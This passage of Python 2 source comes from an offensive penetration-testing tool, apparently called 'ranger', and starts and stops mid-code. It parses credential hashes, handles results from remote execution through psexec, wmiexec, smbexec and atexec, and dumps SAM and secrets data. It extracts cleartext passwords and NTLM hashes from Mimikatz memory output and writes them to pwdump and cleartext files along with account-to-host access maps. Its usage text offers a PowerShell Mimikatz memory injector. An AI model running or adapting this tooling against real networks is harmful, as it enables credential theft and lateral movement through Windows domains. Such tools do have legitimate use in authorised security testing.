temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred.count(' ') == 1: if cred.count('\\') == 1: cred.rstrip('\n') dom_temp, cred_temp = cred.split('\\') usr_temp, hash_temp = cred_temp.split(' ') SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(hash_temp, verbose, usr_temp) dom_temp = dom_temp.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: cred.rstrip('\n') usr_temp, hash_temp = cred.split(' ') SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp = pwd_test(hash_temp, verbose, usr_temp) if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom dom_temp = dom_temp.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred.count(' ') == 0: message = "[!] Credential %s does not have a username" % (str(cred)) notice = failure + message + cleanup logger_obj.info(notice) elif ":" not in cred: if cred.count(' ') == 2: cred.rstrip('\n') usr_temp, pwd_temp, dom_temp = cred.split(' ') if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom dom_temp = dom_temp.lower() usr_temp = usr_temp.lower() temp_key = "%s\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred.count(' ') == 1: if cred.count('\\') == 1: cred.rstrip('\n') dom_temp, cred_temp = cred.split('\\') if "WORKGROUP" not in dom or dom_temp == None: dom_temp = dom usr_temp, pwd_temp = cred_temp.split(' ') dom_temp = dom_temp.lower() usr_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: message = "[!] Credential %s does not have a username" % (str(hash_temp)) notice = failure + message + cleanup logger_obj.info(notice) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: cred.rstrip() usr_temp, pwd_temp = cred.split(' ') dom_temp = dom.lower() user_temp = usr_temp.lower() temp_key = "%s\\%s" % (dom_temp, usr_temp) if not usr_temp: logger_obj.info("[!] Credential %s does not have a username") % (hash_temp) if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) else: creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) elif cred.count(' ') == 0: message = "[!] Credential %s does not have a username" % (str(cred)) notice = failure + message + cleanup logger_obj.info(notice) else: message = "[!] Credential %s does not have a username" % (str(cred)) notice = failure + message + cleanup logger_obj.info(notice) return(creds_dict) def is_empty(structure): if structure: return True else: return False # OUTPUT_HANDLER def output_handler(command, logger_obj, output_cat, data, dst, verbose, creds_dict, dom, usr = None, pwd = None): #add_to_creds_dict(verbose, creds_dict, dom, cred = None, usr = None, pwd = <PASSWORD>) st = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d-%H:%M:%S') groups_file = "/opt/ranger/results/groups/" invoker_file = "/opt/ranger/results/invoker/" secrets_file = "/opt/ranger/results/secrets_dump/" commands_file = "/opt/ranger/results/command/" downloader_file = "/opt/ranger/results/download/" logged_in_file = "/opt/ranger/results/logged_in_users/" results_file = "/opt/ranger/results/" message = "" notice = "" message_list = [] cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) for k, v in output_cat.iteritems(): if "invoker" in k: if verbose > 3: logger_obj.info(data) if "gentilkiwi" in data: creds_dict = access_to_method(verbose, creds_dict, dom, data, usr, pwd, dst) notice = "[+] Accessed system %s with, %s\\%s : %s at: %s" % (dst, dom, usr, pwd, st) notice = success + notice + cleanup logger_obj.info(notice) creds_dict, message_list = invoker_parser(verbose, creds_dict, data, logger_obj, dst, dom, pwd, usr) for notice in message_list: logger_obj.info(notice) else: notice = "[!] Failed to access system %s with, %s\\%s : %s at: %s" % (dst, dom, usr, pwd, st) notice = failure + notice + cleanup logger_obj.info(notice) notice = "" if "ObjectNotFound" in data: notice = "[!] The attack could not find the requested script, check for issues with routing, VPN connectivity, or conflicting service instances" notice = failure + notice + cleanup logger_obj.info(notice) notice = "" filename = "logged_in_users" + "_" + dst dir = logged_in_file + filename with open(dir, 'w') as f: f.write(data) filename = k + "_" + dst dir = invoker_file + filename with open(dir, 'w') as f: f.write(data) elif "executor" in k: if verbose > 0: logger_obj.info(data) filename = k + "_" + dst dir = commands_file + filename with open(dir, 'w') as f: f.write(data) elif "downloader" in k: if verbose > 1: logger_obj.info(data) filename = k + "_" + dst dir = downloader_file + filename with open(dir, 'w') as f: f.write(data) elif "domain_group" in k: if verbose > 1: logger_obj.info(data) filename = v.strip("'") + "_" + dst dir = groups_file + filename with open(dir, 'w') as f: f.write(data) elif "local_group" in k: if verbose > 1: logger_obj.info(data) filename = v.strip("'") + "_" + dst dir = groups_file + filename with open(dir, 'w') as f: f.write(data) elif "get_domain" in k: if verbose > 1: logger_obj.info(data) filename = k + "_" + dst dir = results_file + filename with open(dir, 'w') as f: f.write(data) elif "get_forest_domains" in k: if verbose > 1: logger_obj.info(data) filename = k + "_" + dst dir = results_file + filename with open(dir, 'w') as f: f.write(data) elif "find_local_admin_access" in k: if verbose > 1: logger_obj.info(data) filename = k + "_" + dst dir = results_file + filename with open(dir, 'w') as f: f.write(data) elif "netview_cmd" in k: #if verbose > 1: # logger_obj.info(data) if "\\" in data: creds_dict = access_to_method(verbose, creds_dict, dom, data, usr, pwd, dst) message_list, creds_dict = logged_in_users_method(verbose, creds_dict, dom, dst, data, usr) notice = (success + "[+] Accessed system %s with, %s\\%s : %s at: %s" + cleanup) % (dst, dom, usr, pwd, st) logger_obj.info(notice) notice = "" else: notice = "[!] Failed to access system %s with, %s\\%s : %s at: %s" % (dst, dom, usr, pwd, st) notice = failure + notice + cleanup logger_obj.info(notice) notice = "" for notice in message_list: logger_obj.info(notice) for notice in message_list: logger_obj.info(notice) filename = "logged_in_users" + "_" + dst dir = logged_in_file + filename with open(dir, 'w') as f: f.write(data) elif "sam_dump" in k: if verbose > 1: logger_obj.info(data) filename = "secrets_dump" + "_" + dst dir = secrets_file + filename creds_dict, message_list = secrets_dump_parser(verbose, creds_dict, data, logger_obj, dst, dom, pwd, usr) output_location = "[*] Wrote results to the following location %s" % (str(dir)) logger_obj.info(output_location) for notice in message_list: logger_obj.info(notice) with open(dir, 'w') as f: for line_temp in data: f.write(line_temp + "\n") elif "command" in k: filename = k + "_" + dst dir = commands_file + filename if data: notice = "[+] The command %s was successful on %s" % (str(command), str(dst)) notice = success + notice + cleanup logger_obj.info(notice) output_location = "[*] Wrote results to the following location %s" % (str(dir)) logger_obj.info(output_location) else: notice = "[-] The command %s was unsuccessful on %s" % (str(command), str(dst)) notice = failure + notice + cleanup logger_obj.info(notice) output_location = "[*] Wrote results to the following location %s" % (str(dir)) logger_obj.info(output_location) notice = "" if verbose > 0: logger_obj.info(str(data)) with open(dir, 'w') as f: f.write(data) else: if verbose > 1: logger_obj.info(data) filename = "unknown" + "_" + dst dir = results_fule + filename with open(dir, 'w') as f: f.write(data) return(message_list,creds_dict) def method_func(psexec_cmd, wmiexec_cmd, netview_cmd, smbexec_cmd, atexec_cmd, sam_dump, dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, final_targets, system, security, sam, ntds, no_output, encoder, timeout_value, sleep_value, logger_obj, output_cat, methods, creds_dict): st = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d-%H:%M:%S') if psexec_cmd: psexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict) elif wmiexec_cmd: creds_dict = wmiexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, no_output, scan_type, verbose, verify_port, encoder, timeout_value, logger_obj, output_cat, st, creds_dict) elif netview_cmd: netview_func(dst, usr, pwd, dom, hash, aes, kerberos, final_targets, methods, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict, command) elif smbexec_cmd: smbexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict) elif atexec_cmd: atexec_func(dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, scan_type, verbose, verify_port, encoder, timeout_value, logger_obj, output_cat, st, creds_dict) elif sam_dump: creds_dict = sam_dump_func(dst, usr, hash, dom, aes, kerberos, system, security, sam, ntds, pwd, scan_type, verbose, verify_port, timeout_value, logger_obj, output_cat, st, creds_dict, command) else: print(instructions) return(creds_dict) def matrix_read(creds_matrix): with open(creds_matrix, 'r') as f: s = f.read() creds_dict = ast.literal_eval(s) return(creds_dict) def matrix_write(creds_dict, recovery, logger_obj): if recovery: creds_matrix = "/opt/ranger/results/recovery/recovery_matrix" else: creds_matrix = "/opt/ranger/results/credentials/credential_matrix" with open(creds_matrix, 'w') as f: f.write(str(creds_dict)) return(creds_matrix) def targets_write(final_targets, recovery, logger_obj): if recovery: updated_targets = "/opt/ranger/results/recovery/recovery_targets" else: updated_targets = "/opt/ranger/log/remaining_targets.log" with open(updated_targets, 'w') as f: for tgt in final_targets: f.write(tgt + '\n') return(updated_targets) def targets_curtail(dst, final_targets): try: tgt_index = final_targets.index(dst) + 1 except ValueError, e: tgt_index = None final_targets = final_targets[tgt_index:] return(final_targets) def cleartext_writer(creds_dict, recovery, logger_obj): cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) cred_list = [] if recovery: cred_file = "/opt/ranger/results/recovery/recovery_cleartext" else: cred_file = "/opt/ranger/results/credentials/cleartext" try: for k, v in creds_dict.iteritems(): if v[5]: set = k + " " + v[5] cred_list.append(set) remove_dup_line_in_file(cred_file, cred_list, recovery, logger_obj) except Exception as e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) return(cred_file) def secrets_dump_parser(verbose, creds_dict, data, logger_obj, dst, dom = None, pwd = None, usr = None): data_null = None temp_list = [] SID_temp = None LM_temp = None NTLM_temp = None hash_temp = None usr_temp = usr pwd_temp = pwd dom_temp = dom local_admin_temp = [] groups_temp = {} cached_temp = None logged_in_temp = [] access_to_temp = [] message = "" message_list = [] message_list_temp = [] temp_list = [] cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) try: for line in data: if line and "ASP" not in line and "ROOT#123" not in line: dom_temp = None SID, LM, NTLM, hash, usr, pwd, dom_temp = pwd_test(line, verbose) creds_dict = add_to_creds_dict(logger_obj, verbose, creds_dict, dom, line) if dom_temp == None: dom_temp = "workgroup" message = "[+] %s\\%s has access to system %s" % (dom_temp, usr, dst) message = success + message + cleanup message_list.append(message) message = "[+][+] Extracted the following hash %s" % (line) message = epic + message + cleanup message_list.append(message) creds_dict = access_to_method(verbose, creds_dict, dom_temp, data, usr, pwd, dst) except Exception as e: notice = "[!] An error occurred recording the hash %s from secrets-dump: %s" % (line,e) notice = failure + notice + cleanup logger_obj.info(notice) set = sets.Set(message_list) message_list = list(set) return(creds_dict, message_list) def invoker_parser(verbose, creds_dict, data, logger_obj, dst, dom = None, pwd = None, usr = None): data_null = None temp_list = [] SID_temp = None LM_temp = None NTLM_temp = None hash_temp = None usr_temp = None pwd_temp = None dom_temp = None local_admin_temp = [] groups_temp = {} cached_temp = None logged_in_temp = [] access_to_temp = [] message = "" wdigest_message = "" raw_domain = "" raw_username = "" raw_password = "" raw_NTLM = "" item_range = None parse_list = [] mi = 0 wi = 0 msv_results = {} wdigest_results = {} wdigest_dict = {} msv_dict = {} keyed = "" message_list = [] message_list_temp = [] temp_list = [] cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) parse_list = data.splitlines(True) wdigest_indices = [i for i, elem in enumerate(parse_list) if 'wdigest' in elem] msv_indices = [i for i, elem in enumerate(parse_list) if 'msv' in elem] for item in wdigest_indices: item_range = item + 4 wdigest_results[wi] = parse_list[item:item_range] item_range = None wi += 1 for item in msv_indices: item_range = item + 5 temp_list = parse_list[item:item_range] msv_results[mi] = temp_list item_range = None mi += 1 for k, v in wdigest_results.iteritems(): raw_domain = "" raw_username = "" raw_password = "" if "kerberos" in v or not v: continue else: try: for item in v: if not item: continue if "Domain" or "Username" or "Password" in item: if "Domain" in item: idicator1, raw_domain = item.split(':',1) elif "Username" in item: indicator2, raw_username = item.split(':',1) elif "Password" in item: indicator3, raw_password = item.split(':',1) else: continue else: continue if not (raw_domain or raw_username or raw_password) or "null" in (raw_domain or raw_username or raw_password): raw_username = None raw_domain = None raw_password = None continue if raw_domain and "null" not in raw_domain: raw_domain = raw_domain.strip() else: raw_domain = None if raw_username and "null" not in raw_username: raw_username = raw_username.strip() else: raw_username = None if raw_password and "null" not in raw_password: raw_password = raw_password.strip() else: raw_password = None if (raw_domain and raw_username) and "null" not in (raw_domain and raw_username): keyed = raw_domain + "\\" + raw_username if keyed in wdigest_dict: test_d, test_u, test_p = wdigest_dict[keyed] if test_p == None and raw_password: wdigest_dict[keyed] = [raw_domain, raw_username, raw_password] else: wdigest_dict[keyed] = [raw_domain, raw_username, raw_password] else: continue except Exception as e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) for k, v in msv_results.iteritems(): try: for item in v: if "Domain" or "Username" or "NTLM" in item: if "Domain" in item: idicator1, raw_domain = item.split(':',1) elif "Username" in item: indicator2, raw_username = item.split(':',1) elif "NTLM" in item: indicator3, raw_NTLM = item.split(':',1) else: continue else: continue if not (raw_domain or raw_username or raw_NTLM) or "null" in (raw_domain or raw_username or raw_NTLM): raw_domain = None raw_username = None raw_NTLM = None continue if raw_domain and "null" not in raw_domain: raw_domain = raw_domain.strip() else: raw_domain = None if raw_username and "null" not in raw_username: raw_username = raw_username.strip() else: raw_username = None if raw_NTLM and "null" not in raw_NTLM: raw_NTLM = raw_NTLM.strip() else: raw_NTLM = None if (raw_domain and raw_username) and "null" not in (raw_domain and raw_username): keyed = raw_domain + "\\" + raw_username if keyed in msv_dict: test_d, test_u, test_ntlm = msv_dict[keyed] if test_ntlm == None and raw_NTLM: msv_dict[keyed] = [raw_domain, raw_username, raw_NTLM] else: msv_dict[keyed] = [raw_domain, raw_username, raw_NTLM] else: continue except Exception as e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + failure logger_obj.info(notice) for k, v in msv_dict.iteritems(): dom_temp = v[0].lower() usr_temp = v[1].lower() NTLM_temp = v[2] if dom_temp and usr_temp: temp_key = dom_temp + "\\" + usr_temp message_list_temp, creds_dict = logged_in_users_method(verbose, creds_dict, dom_temp, dst, data_null, usr_temp) message_list.extend(message_list_temp) try: if not NTLM_temp: message = "[-] %s\\%s NTLM hash was nullified in memory" % (str(dom_temp), str(usr_temp)) message = failure + message + cleanup message_list.append(message) else: message = "[++] %s\\%s NTLM hash is %s" % (str(dom_temp), str(usr_temp), str(NTLM_temp)) message = epic + message + cleanup message_list.append(message) except Exception as e: notice = "[!] An error occurred recording NTLM: %s" % (e) notice = failure + notice + cleanup logger_obj.info("[!] An error occurred recording NTLM: %s") % (e) else: continue if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) if not creds_dict[temp_key][1] and NTLM_temp: creds_dict[temp_key][1] = "aad3b435b51404eeaad3b435b51404ee" if not creds_dict[temp_key][2] and NTLM_temp: creds_dict[temp_key][2] = NTLM_temp if not creds_dict[temp_key][3] and not creds_dict[temp_key][1] and NTLM_temp: creds_dict[temp_key][3] = "aad3b435b51404eeaad3b435b51404ee:" + str(NTLM_temp) if not creds_dict[temp_key][4] and usr_temp: creds_dict[temp_key][4] = usr_temp if not creds_dict[temp_key][6] and dom_temp: creds_dict[temp_key][6] = dom_temp else: hash_temp = "aad3b435b51404eeaad3b435b51404ee:" + str(NTLM_temp) LM_temp = "aad3b435b51404eeaad3b435b51404ee" creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) LM_temp = None hash_temp = None for k, v in wdigest_dict.iteritems(): dom_temp = v[0].lower() usr_temp = v[1].lower() pwd_temp = v[2] if dom_temp and usr_temp: temp_key = dom_temp + "\\" + usr_temp message_list_temp, creds_dict = logged_in_users_method(verbose, creds_dict, dom_temp, dst, data_null, usr_temp) message_list.extend(message_list_temp) try: if not pwd_temp: message = "[-] %s\\%s password was nullified in memory" % (str(dom_temp), str(usr_temp)) message = failure + message + cleanup message_list.append(message) else: message = "[++] %s\\%s password is %s" % (str(dom_temp), str(usr_temp), str(pwd_temp)) message = epic + message + cleanup message_list.append(message) except Exception as e: notice = "[!] An error occurred recording passwords: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) else: continue if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) if not creds_dict[temp_key][4] and usr_temp: creds_dict[temp_key][4] = usr_temp if not creds_dict[temp_key][5] and pwd_temp: creds_dict[temp_key][5] = pwd_temp if not creds_dict[temp_key][6] and dom_temp: creds_dict[temp_key][6] = dom_temp else: #print(temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp)#DEBUG creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) set = sets.Set(message_list) message_list = list(set) return(creds_dict, message_list) #temp_list = [SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, access_to_temp, cached_temp] #creds_dict[temp_key] = [SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp=[], groups_temp={}, logged_in_temp=[]} def pwdump_writer(creds_dict, recovery, logger_obj): cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) set = "" hash_list = [] if recovery: pwdump = "/opt/ranger/results/recovery/recovery_pwdump" else: pwdump = "/opt/ranger/results/credentials/pwdump" try: for k, v in creds_dict.iteritems(): if v[0] and v[1] and v[2] and v[4] and v[6]: set = str(v[4]) + ":" + str(v[0]) + ":" + str(v[1]) + ":" + str(v[2]) + "::: " + str(v[6]) hash_list.append(set) elif v[0] and v[1] and v[2] and v[4]: set = str(v[4]) + ":" + str(v[0]) + ":" + str(v[1]) + ":" + str(v[2]) + "::: " + str(v[6]) hash_list.append(set) elif not v[0] and v[1] and v[2] and v[4] and v[6]: set = str(v[6]) + "\\" + v[4] + ":" + str(v[1]) + ":" + str(v[2]) + ":::" hash_list.append(set) remove_dup_line_in_file(pwdump, hash_list, recovery, logger_obj) except Exception as e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) return(pwdump) def access_to_writer(creds_dict, recovery, logger_obj): cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) map_list = [] if recovery: access_to = "/opt/ranger/results/recovery/recovery_access_to_" else: access_to = "/opt/ranger/results/credentials/access_to" try: for k, v in creds_dict.iteritems(): if v[10]: accesses = ','.join(map(str, v[10])) set = k + ":" + accesses map_list.append(set) remove_dup_line_in_file(access_to, map_list, recovery, logger_obj) except Exception as e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) return(access_to) def logged_in_writer(creds_dict, recovery, logger_obj): cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) map_list = [] if recovery: logged_in_to = "/opt/ranger/results/recovery/recovery_logged_in_to" else: logged_in_to = "/opt/ranger/results/credentials/logged_in_to" try: for k, v in creds_dict.iteritems(): if v[9]: locations = ','.join(map(str, v[9])) set = k + ":" + locations map_list.append(set) remove_dup_line_in_file(logged_in_to, map_list, recovery, logger_obj) except Exception as e: notice = "An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) return(logged_in_to) def data_writer(creds_dict, dst, final_targets, recovery, logger_obj): fn = matrix_write(creds_dict, recovery, logger_obj) print("[+] Wrote the saved credential matrix to: %s") % (fn) updated_targets = targets_curtail(dst, final_targets) fn = targets_write(updated_targets, recovery, logger_obj) print("[+] Wrote the remaining targets to the following file: %s") % (fn) fn = cleartext_writer(creds_dict, recovery, logger_obj) print("[+] Wrote the cleartext credentials to the following file: %s") % (fn) fn = pwdump_writer(creds_dict, recovery, logger_obj) print("[+] Wrote the pwdump credentials to the following file: %s") % (fn) fn = access_to_writer(creds_dict, recovery, logger_obj) print("[+] Wrote the IP to account access mapping to the following file: %s") % (fn) fn = logged_in_writer(creds_dict, recovery, logger_obj) print("[+] Wrote the current user's session locations to the following file: %s") % (fn) def remove_dup_line_in_file(file_to_order, current_list, recovery, logger_obj): cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) lines = [] try: if (os.path.isfile(file_to_order) and os.stat(file_to_order).st_size != 0) and not recovery: lines = open(file_to_order).read().splitlines() os.remove(file_to_order) lines = list(lines) if current_list: lines.extend(current_list) if lines and lines != None: unique_lines = OrderedDict.fromkeys((line for line in lines if line)) with open(file_to_order, 'w') as f: for item in unique_lines: if not item: continue f.write(item + '\n') except (Exception, KeyboardInterrupt), e: notice = "[!] An error occurred: %s" % (e) notice = failure + notice + cleanup logger_obj.info(notice) def logged_in_users_method(verbose, creds_dict, dom, dst, data = None, usr = None): temp_list = [] SID_temp = None LM_temp = None NTLM_temp = None hash_temp = None usr_temp = usr pwd_temp = None dom_temp = None logged_in_temp = [] access_to_temp = [] local_admin_temp = [] local_users = [] groups_temp = {} cached_temp = None cleanup = (colorama.Style.RESET_ALL) success = (colorama.Fore.GREEN) failure = (colorama.Fore.RED) epic = (colorama.Fore.YELLOW) message = "" message_list = [] if data: for line in data.splitlines(): mutate = [] logged_in_temp = [] access_to_temp = [] mutate = line.split() ip = mutate[0] ip = ip.strip(':') temp_key = mutate[2] dom_temp, usr_temp = temp_key.split("\\") if not (dom_temp is dom): dom_temp = "WORKGROUP" temp_key = dom_temp.lower() + "\\" + usr_temp.lower() message = "[+] %s is logged into %s" % (temp_key, ip) message = success + message + cleanup message_list.append(message) message = "" local_users.append(temp_key) else: dom_temp = dom.lower() ip = dst temp_key = dom_temp.lower() + "\\" + usr_temp.lower() message = "[+] %s is logged into %s" % (temp_key, ip) message = success + message + cleanup message_list.append(message) message = "" local_users.append(temp_key) for temp_key in local_users: if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) logged_in_temp = creds_dict[temp_key][9] access_to_temp = creds_dict[temp_key][10] logged_in_temp.append(ip) set = sets.Set(logged_in_temp) logged_in_temp = list(set) access_to_temp.append(ip) set = sets.Set(access_to_temp) access_to_temp = list(set) creds_dict[temp_key][9] = logged_in_temp creds_dict[temp_key][10] = access_to_temp else: logged_in_temp.append(ip) set = sets.Set(logged_in_temp) logged_in_temp = list(set) access_to_temp.append(ip) set = sets.Set(access_to_temp) access_to_temp = list(set) creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) return(message_list, creds_dict) def access_to_method(verbose, creds_dict, dom, data, usr, pwd, ip): temp_list = [] SID_temp = None LM_temp = None NTLM_temp = None hash_temp = None usr_temp = usr pwd_temp = pwd dom_temp = dom local_admin_temp = [] groups_temp = {} cached_temp = None logged_in_temp = [] access_to_temp = [] temp_key = dom_temp.lower() + "\\" + usr_temp.lower() if temp_key in creds_dict: creds_dict = in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) access_to_temp = creds_dict[temp_key][10] access_to_temp.append(ip) set = sets.Set(access_to_temp) access_to_temp = list(set) creds_dict[temp_key][10] = access_to_temp else: access_to_temp.append(ip) set = sets.Set(access_to_temp) access_to_temp = list(set) creds_dict = not_in_cred_dict(verbose, temp_list, SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp, groups_temp, logged_in_temp, temp_key, creds_dict, access_to_temp, cached_temp) return(creds_dict) def purging_func(): dir_list = [] dir_list = ['/opt/ranger/log','/opt/ranger/results/secrets_dump','/opt/ranger/results/invoker','/opt/ranger/results/groups','/opt/ranger/results/logged_in_users','/opt/ranger/results/command','/opt/ranger/results/downloader','/opt/ranger/results/credentials','/opt/ranger/results/recovery'] for dir in dir_list: print("[*] Deleting the contents of %s") % (dir) file_list = os.listdir(dir) for filename in file_list: item = os.path.join(dir, filename) if os.path.isfile(item): os.remove(item) sys.exit("[*] Completed purging old engagement files!") def main(): # If script is executed at the CLI usage = ''' Find Logged In Users %(prog)s [-u Administrator] [-p Password1] [-d Domain] --scout SMBEXEC Command Shell: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv PSEXEC Command Shell: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv PSEXEC Command Execution: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv WMIEXEC Command Execution: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User" WMIEXEC PowerShell Mimikatz Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker 